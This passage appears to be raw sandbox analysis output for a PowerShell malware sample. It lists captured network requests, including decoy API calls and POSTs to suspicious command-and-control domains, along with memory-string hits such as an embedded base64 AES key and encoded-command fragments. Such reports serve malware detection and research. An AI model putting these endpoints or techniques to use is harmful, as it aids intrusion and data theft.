Accept-Encoding: gzip deflate GET /posts/21?r=9041681 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip deflate Connection: Keep-Alive GET /todos/170?v=4389383 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip deflate GET /repos/prometheus/prometheus/commits HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: api.github.com Accept-Encoding: gzip deflate GET /repos/axios/axios/contributors HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: api.github.com Accept-Encoding: gzip deflate GET /dsfnkbertj34 HTTP/1.1 Host: unisd.tonisear.com Connection: Keep-Alive GET /posts/21?r=9041681 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip deflate GET /v2/repositories/library/golang/tags/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: hub.docker.com Accept-Encoding: gzip deflate Connection: Keep-Alive GET /todos/142 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip deflate GET /autoprefixer/latest HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: registry.npmjs.org Accept-Encoding: gzip deflate Connection: Keep-Alive GET /less HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: registry.npmjs.org Cookie: _cfuvid=AuLMFkO4vtbASM1_qumXRKidEGlOR44fu7vgCdQDnKg-1778163659.6096737-1.0.1.1-QFcG7vx_WSyROfmMpodjl.Od3tBs03akcOkhTrARpyc Accept-Encoding: gzip deflate GET /repos/elastic/elasticsearch/commits HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: api.github.com Accept-Encoding: gzip deflate GET /repos/laravel/laravel?nocache=2516291 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: api.github.com Accept-Encoding: gzip deflate GET /d3/latest HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: registry.npmjs.org Cookie: _cfuvid=AuLMFkO4vtbASM1_qumXRKidEGlOR44fu7vgCdQDnKg-1778163659.6096737-1.0.1.1-QFcG7vx_WSyROfmMpodjl.Od3tBs03akcOkhTrARpyc Accept-Encoding: gzip deflate GET /repos/date-fns/date-fns/branches HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: api.github.com Accept-Encoding: gzip deflate GET /repos/stylelint/stylelint/tags?v=4025571 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: api.github.com Accept-Encoding: gzip deflate GET /v2/repositories/library/alpine/tags/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: hub.docker.com Accept-Encoding: gzip deflate GET /posts/94 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip deflate GET /repos/expressjs/express/tags HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: api.github.com Accept-Encoding: gzip deflate GET /users/3?rand=9917623 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip deflate 55:T553,Found HTTPS POST request to https://snowdrift.vineyardstudied.cfd/ Found HTTPS POST request to https://snowdrift.vineyardstudied.cfd/91ZG3@_I-Ac@P-viZQNYJ.htFY Found HTTPS POST request to https://snowdrift.vineyardstudied.cfd/BQzxce-otkZ~dchM5La_a4Il1V-iX__3pgC1_Oc-sAFqf7b Found HTTPS POST request to https://snowdrift.vineyardstudied.cfd/v-jp_BGlLdnuF@.rZFQ@K@8Lyu2FJNuo_Hf88--6_ Found HTTPS POST request to https://snowdrift.vineyardstudied.cfd/YAz.0~cuLBTBWj.J7OuP75X-QGzto_u.-_@kR@~ZJ Found HTTPS GET request to https://ootid.srv-auth-dlt-msh.in.net/pylupdate6in Found HTTPS GET request to https://ootid.srv-auth-dlt-msh.in.net/was0do6si2in Found HTTPS GET request to https://ohn.stainedunstitch.work/celqop-v9tp34n2-2ao43do-hv2wxcv-piojaip/hpwia2drvrootwn8.html Found HTTPS POST request to https://snowdrift.vineyardstudied.cfd/i~ro@F2.ZZN Found HTTPS GET request to https://api.github.com/repos/facebookresearch/segment-anything/branches Found HTTPS GET request to https://api.github.com/repos/vercel/next.js Found HTTPS GET request to https://jsonplaceholder.typicode.com/posts/21?r=9041681 Found HTTPS GET request to https://jsonplaceholder.typicode.com/todos/170?v=4389383 Found HTTPS GET request to https://api.github.com/repos/prometheus/prometheus/commits Found HTTPS GET request to https://api.github.com/repos/axios/axios/contributors56:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp")57:T410,Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00002344.00000000.146055.00640000.00000004.mdmp, 00000000-00002344.00000001.147976.076F0000.00000004.mdmp, 00000000-00002344.00000002.149897.076F0000.00000004.mdmp, 00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found string ":\WINDOWS\SysWOW64\Kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp, 00000000-00002344.00000002.149897.076F0000.00000004.mdmp, 00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp, 00000000-00002344.00000002.149897.076F0000.00000004.mdmp, 00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp, 00000000-00002344.00000002.149897.076F0000.00000004.mdmp, 00000000-00002344.00000003.153126.076F0000.00000004.mdmp")58:T8d6,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe (UID: 00000000-00000796) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00000796) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00000796) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00000796) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00000796) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00000796) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00000796) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00000796) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00000796) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00000796) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00000796) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00000796) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00000796) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00000796) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00000796) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00000796) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00000796) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00000796) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00000796) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00000796)59:T13b9,file/memory contains long string with (Indicator: "base64"; File: "af31eb0fe9cf32ca91f3a5860b2dc6d403d821882e3e4fd14d18e7e704735b42.bin") file/memory contains long string with (Indicator: "FromBase64String"; File: "af31eb0fe9cf32ca91f3a5860b2dc6d403d821882e3e4fd14d18e7e704735b42.bin") file/memory contains long string with (Indicator: "aes"; File: "af31eb0fe9cf32ca91f3a5860b2dc6d403d821882e3e4fd14d18e7e704735b42.bin") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; File: "00000000-00002344.00000000.146055.00DF1000.00000020.mdmp") file/memory contains long string with (Indicator: "base64"; File: "AMSI") file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "aes"; File: "AMSI") Found string "$k = [Convert]::FromBase64String('SYm/KwVpTJoHCzPJemFJgMcQjQlqNCAsPyFNdhED4Xk=')" (Indicator: "base64"; File: "AMSI") Found string "$k = [Convert]::FromBase64String('SYm/KwVpTJoHCzPJemFJgMcQjQlqNCAsPyFNdhED4Xk=')" (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "3des"; File: "AMSI") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00002344.00000000.146055.00640000.00000004.mdmp, 00000000-00002344.00000000.146055.076F0000.00000004.mdmp, 00000000-00002344.00000001.147976.00640000.00000004.mdmp, 00000000-00002344.00000001.147976.076F0000.00000004.mdmp, 00000000-00002344.00000002.149897.00640000.00000004.mdmp, 00000000-00002344.00000002.149897.076F0000.00000004.mdmp, 00000000-00002344.00000003.153126.00640000.00000004.mdmp, 00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00002344.00000000.146055.00640000.00000004.mdmp, 00000000-00002344.00000001.147976.00640000.00000004.mdmp, 00000000-00002344.00000001.147976.076F0000.00000004.mdmp, 00000000-00002344.00000002.149897.00640000.00000004.mdmp, 00000000-00002344.00000002.149897.076F0000.00000004.mdmp, 00000000-00002344.00000003.153126.00640000.00000004.mdmp, 00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00002344.00000000.146055.00DF1000.00000020.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002344.00000000.146055.00DF1000.00000020.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002344.00000000.146055.00DF1000.00000020.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002344.00000000.146055.00DF1000.00000020.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002344.00000000.146055.00DF1000.00000020.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002344.00000000.146055.00DF1000.00000020.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002344.00000000.146055.00DF1000.00000020.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002344.00000000.146055.00DF1000.00000020.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002344.00000000.146055.00DF1000.00000020.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "base64"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "ToBase64String"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "[-WindowStyle